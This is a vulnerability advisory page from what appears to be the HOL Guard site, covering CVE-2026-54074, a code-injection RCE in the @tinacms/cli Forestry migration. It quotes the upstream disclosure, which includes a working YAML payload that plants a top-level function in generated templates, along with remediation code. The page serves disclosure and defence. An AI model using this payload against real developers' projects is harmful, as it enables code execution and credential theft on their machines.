HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 54074 tinacmscli remote code execution in tinacmscli
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 7.8CVE-2026-54074GHSA-4936-9HRH-QQPW

@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labelsCVE-2026-54074

Answer in brief

CVE-2026-54074 records a High severity (CVSS 7.8) vulnerability in @tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels. The current sources do not mark it as known exploited. The current feed maps @tinacms/cli (npm), @tinacms/cli (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jun 19, 2026Updated Sep 10, 2026Source checked Nov 1, 2026First seen by HOL Jun 19, 2026Material review Sep 10, 2026
Upstream Advisory

Record context

Vulnerability class
RCE
EPSS
Not reported
CWE IDs
CWE-94
Source
GitHub Security Advisories
Source checked
Nov 1, 2026
References
6 linked sources
Open source record

Key facts

Risk
High · CVSS 7.8
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 7.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps @tinacms/cli (npm), @tinacms/cli (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
@tinacms/clinpm<2.4.32.4.3
@tinacms/clinpm>=0 <2.4.32.4.3

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for @tinacms/cli, @tinacms/cli.
  2. 2Review the reported fix. Update @tinacms/cli to 2.4.3; @tinacms/cli to 2.4.3 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jun 19, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Jun 19, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

## Description ### Summary `@tinacms/cli` contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper `addVariablesToCode` unquotes any value matching the marker `"__TINA_INTERNAL__:::(.*?):::"` inside the stringified collection JSON. User-supplied `label` and `name` fields from `.forestry/**/*.yml` are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated `tina/templates.{ts,js}` file. The injected code is written at module top level, so it executes **the moment the developer runs `tinacms dev` or `tinacms build`**, with the developer's privileges. ### Details **Vulnerable code path:** 1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts` — `transformForestryFieldsToTinaFields()` writes `forestryField.label` (and `.name`) straight into TinaField objects (no sanitisation). 2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`, lines 16-22 — the regex-based unquoter: ```ts export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; }; ``` 3. `codeTransformer.ts` lines 80-88 — the field array is `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because `JSON.stringify` does **not** escape single quotes or backticks, an attacker who avoids `"` in the payload survives the JSON pass intact. 4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the resulting string is written to `tina/templates.{ts,js}` and imported by the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates. **Why it executes immediately:** the regex unquoting allows the attacker's payload to *close the surrounding object/array and the enclosing `xxxFields()` function*, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant `tina/config.ts` imports `./templates`. ### PoC End-to-end verified against `tinacms` and `@tinacms/[email protected]`, built from commit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24 (behaviour is identical on Node 22). **Step 1 — attacker prepares a malicious Forestry project** `.forestry/settings.yml` ```yaml --- new_page_extension: md auto_deploy: false admin_path: '' webhook_url: '' sections: - type: directory path: content/posts label: Posts create: all match: "**/*.md" templates: - rce ``` `.forestry/front_matter/templates/rce.yml` ```yaml --- label: rce_template fields: - name: title type: text label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::" ``` > **Note on payload encoding.** The original disclosure draft used double > quotes inside the payload (`console.log("RCE")`). `JSON.stringify` escapes > those to `\"`, which makes the generated TypeScript syntactically invalid > and is rejected by Prettier before the file is written. Using single > quotes or backticks for the inner string literals is required for the > exploit to succeed. **Step 2 — victim runs the standard onboarding flow** ```bash git clone <attacker repo> cd <attacker repo> npx tinacms init # accepts the "migrate Forestry templates?" prompt npx tinacms dev # OR: npx tinacms build ``` **Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)** ```ts import type { TinaField } from "tinacms"; export function rce_templateFields() { return [{ type: "string", name: "title", label: 1 }]; } (function () { // <-- TOP-LEVEL IIFE const fs = require("fs"); const os = require("os"); fs.writeFileSync( require("path").join(os.tmpdir(), "PWNED_PROOF.txt"), "RCE triggered on " + os.hostname() + " at " + new Date().toISOString() ); console.log("=== RCE SUCCESSFUL ==="); })(); function _ignore_() { return [{ x: 1 }] as TinaField[]; } ``` **Step 4 — observed result** ``` $ npx tinacms dev --noTelemetry --no-server 🦙 TinaCMS Dev Server is initializing... === RCE SUCCESSFUL === Cannot read properties of undefined (reading 'publicFolder') $ cat "$TEMP/PWNED_PROOF.txt" RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z ``` The `=== RCE SUCCESSFUL ===` line is printed **before** the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation. ### Impact * **Class:** Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build). * **Attack vector:** Any developer who runs `tinacms init` on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs `tinacms dev` or `tinacms build`. * **Privileges obtained:** Full execution under the developer's user account. Practical consequences include: * Exfiltration of environment variables, `.env` files, SSH keys, `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`. * Source-code modification (planting backdoors before the developer's next commit / publish). * Supply-chain abuse via the developer's `npm publish` and `git push` credentials. * Persistence via shell rc files or scheduled tasks. * **Authentication:** None required from the attacker. * **User interaction:** Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes". ## Suggested Remediation Either fix is sufficient; **Option B is preferred** because it is structurally impossible to bypass and does not silently drop user content. ### Option A — sanitise user-controlled strings (the disclosure draft's proposal) ```ts // packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts const sanitizeString = (str: unknown): unknown => typeof str === 'string' ? str.replace(/__TINA_INTERNAL__:::/g, '') : str; ``` Apply to **every** user-controlled string that flows into a TinaField object — at minimum `forestryField.label`, `forestryField.name`, `forestryField.template`, `forestryField.config.options[*]`, `forestryField.config.source.section`, and the equivalents on nested `fields`/`template_types` recursive paths. ### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data ```ts // codeTransformer.ts const MARKER_OPEN = '__TINA_INTERNAL__'; const MARKER_CLOSE = '/__TINA_INTERNAL__'; export const addVariablesToCode = (s: string) => ({ code: s.replace( new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'), '$1' ), }); ``` `JSON.stringify` escapes `` to the six-character sequence ``, so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (`makeFieldsWithInternalCode`) keep emitting real `` bytes, so the legitimate flow continues to work and no user content is silently mutated. ### Defence-in-depth Regardless of which option ships, the migration code should also: * Reject `forestryField.label` / `.name` that contain newlines or NUL bytes (Forestry never produced them). * Wrap the eventual `prettier.format(...)` call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way). --- ## Credit Reported by **AnGrY-Althaf** (`[email protected]`). End-to-end PoC executed locally against `[email protected]` / `@tinacms/[email protected]` built from commit `ae1ab5d0f` of `https://github.com/tinacms/tinacms`.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Typemill SvgSanitizer.php saveImage cross site scriptingAlso CWE-94